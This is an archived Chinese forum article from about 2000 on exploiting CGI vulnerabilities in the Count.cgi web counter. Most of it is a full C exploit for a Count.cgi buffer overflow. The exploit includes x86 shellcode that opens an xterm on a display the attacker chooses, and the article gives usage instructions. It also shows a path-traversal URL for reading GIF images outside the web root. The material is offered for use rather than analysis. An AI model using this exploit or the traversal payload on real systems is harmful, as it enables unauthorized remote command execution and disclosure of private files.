精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>CGI漏洞的利用(二)

主题:CGI漏洞的利用(二)
发信人: iamu()
整理人: williamlong(2000-03-07 19:01:03), 站内信件
CGI漏洞的利用(二)
    CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破P
CWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点
看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来
信告诉我:[email protected]

四、Count.cgi溢出漏洞
   
    Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有
人用它,不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利
用方法。
    出现问题主要是由于QUERY_STRING 环境变量被复制到一个活动缓冲区,造成
溢出,允许远程用户以HTTP管理员的身份执行任意命令。
    有人写了个程序来利用这个漏洞,只对Count.cgi 24以下版本有效:
/*###  count.c  ######################################################
##*/
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(char *,long, char *);

/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";



int main (int argc, char *argv[]){
  char *shellcode = NULL;
  int cnt,ver,retcount, dispnum,dotquads[4],offset;
  unsigned long sp;
  char dispname[255];
  char *host;

  
  offset = sp = cnt = ver = 0;
  fprintf(stderr,"\t%s - Gus\n",argv[0]);
  if (argc<3) usage(argv[0]);

while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
switch(cnt){
case 'h':
host = optarg;
break;
case 'd':
{
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
&dotquads[0],
&dotquads[1],
&dotquads[2],
&dotquads[3], &dispnum);
if (retcount != 5) usage(argv[0]);
sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpa
d));
sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
}
break;
case 'v':
ver = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}

sp = offset + getsp(ver);


(void)doit(host,sp,shellcode);

exit(0);
}

unsigned long getsp(int ver) {

/* Get the stack pointer we should be using. YMMV. If it does not wo
rk,
try using -o X, where x is between -1500 and 1500 */
unsigned long sp=0;

if (ver == 15) sp = 0xbfffea50;
if (ver == 20) sp = 0xbfffea50;
if (ver == 22) sp = 0xbfffeab4;
if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
if (sp == 0) {
fprintf(stderr,"I don't have an sp for that version try using the
-o option.\n");
fprintf(stderr,"Versions above 24 are patched for this bug.\n");
exit(1);
} else {
return sp;
}

}


int usage (char *name) {
fprintf(stderr,"\tUsage:%s -h host -d <display> -v <version> [-o <of
fset>]\n",name);
  fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",nam
e);
  exit(1);
}

int openhost (char *host, int port) {
  
  int sock; 
  struct hostent *he;
  struct sockaddr_in sa;

  he = gethostbyname(host);
  if (he == NULL) {
    perror("Bad hostname\n");
    exit(-1);
  }

  memcpy(&sa.sin_addr, he->h_addr, he->h_length);
  
  sa.sin_port=htons(port);
  sa.sin_family=AF_INET;
  sock=socket(AF_INET,SOCK_STREAM,0);
  if (sock < 0) {
perror ("cannot open socket");
exit(-1);
}
bzero(&sa.sin_zero,sizeof (sa.sin_zero));

if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
perror("cannot connect to host");
exit(-1);
}

return(sock);
}


void doit (char *host,long sp, char *shellcode) {

int cnt,sock;
char qs[7000];
int bufsize = 16;
char buf[bufsize];
char chain[] = "user=a";

bzero(buf);


for(cnt=0;cnt<4104;cnt+=4) {
qs[cnt+0] = sp & 0x000000ff;
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
    qs[cnt+2] = (sp & 0x00ff0000) >> 16;
    qs[cnt+3] = (sp & 0xff000000) >> 24;
  }
  strcpy(qs,chain);
  qs[strlen(chain)]=0x90;

  qs[4104]= sp&0x000000ff;
  qs[4105]=(sp&0x0000ff00)>>8;
  qs[4106]=(sp&0x00ff0000)>>16;
  qs[4107]=(sp&0xff000000)>>24;
  qs[4108]= sp&0x000000ff;
  qs[4109]=(sp&0x0000ff00)>>8;
  qs[4110]=(sp&0x00ff0000)>>16;
  qs[4111]=(sp&0xff000000)>>24;
  qs[4112]= sp&0x000000ff;
  qs[4113]=(sp&0x0000ff00)>>8;
  qs[4114]=(sp&0x00ff0000)>>16;
  qs[4115]=(sp&0xff000000)>>24;
  qs[4116]= sp&0x000000ff;
  qs[4117]=(sp&0x0000ff00)>>8;
  qs[4118]=(sp&0x00ff0000)>>16;
  qs[4119]=(sp&0xff000000)>>24;
  qs[4120]= sp&0x000000ff;
  qs[4121]=(sp&0x0000ff00)>>8;
  qs[4122]=(sp&0x00ff0000)>>16;
  qs[4123]=(sp&0xff000000)>>24;
  qs[4124]= sp&0x000000ff;
  qs[4125]=(sp&0x0000ff00)>>8;
  qs[4126]=(sp&0x00ff0000)>>16;
  qs[4127]=(sp&0xff000000)>>24;
  qs[4128]= sp&0x000000ff;
  qs[4129]=(sp&0x0000ff00)>>8;
  qs[4130]=(sp&0x00ff0000)>>16;
  qs[4131]=(sp&0xff000000)>>24;
  strcpy((char*)&qs[4132],shellcode);

  sock = openhost(host,80);
  write(sock,"GET /cgi-bin/Count.cgi?",23);
  write(sock,qs,strlen(qs));
  write(sock," HTTP/1.0\n",10);
  write(sock,"User-Agent: ",12);
  write(sock,qs,strlen(qs));
  write(sock,"\n\n",2);
  sleep(1);
     
  /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",q
s,qs); */

  /*
  setenv("HTTP_USER_AGENT",qs,1); 
  setenv("QUERY_STRING",qs,1);
  system("./Count.cgi");
  */
}

———————————————————————————————————


用法是:count -h <攻击目标IP> -d <显示> -v <Count.cgi的版本>
例如:count -h www.foo.bar -d 127.0.0.1:0 -v 22

五、用Count.cgi看图片

    这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以
利用Count.cgi看WEB目录以外的图片,据作者说有一些商业网站的图片里有一些
商业机密,所以这个漏洞也算是有点用处吧!哈哈!

在浏览器中这样输入:
http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../.
./../../../path_to_gif/file.gif

其中/path_to_gif/file.gif是你要看的图片的路径。

注意,这一漏洞只能被用来看(或下载)GIF格式的图片,而不能用于其他类型的
文件。

____________________________________________________________________

本文是由darksun成员ISNO翻译,如转载请保持文章完整。
http://isno.yeah.net
    


--
=====================================================
黑客=安全??http://isno.yeah.net
=====================================================

※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.99.62.155]

[关闭][返回]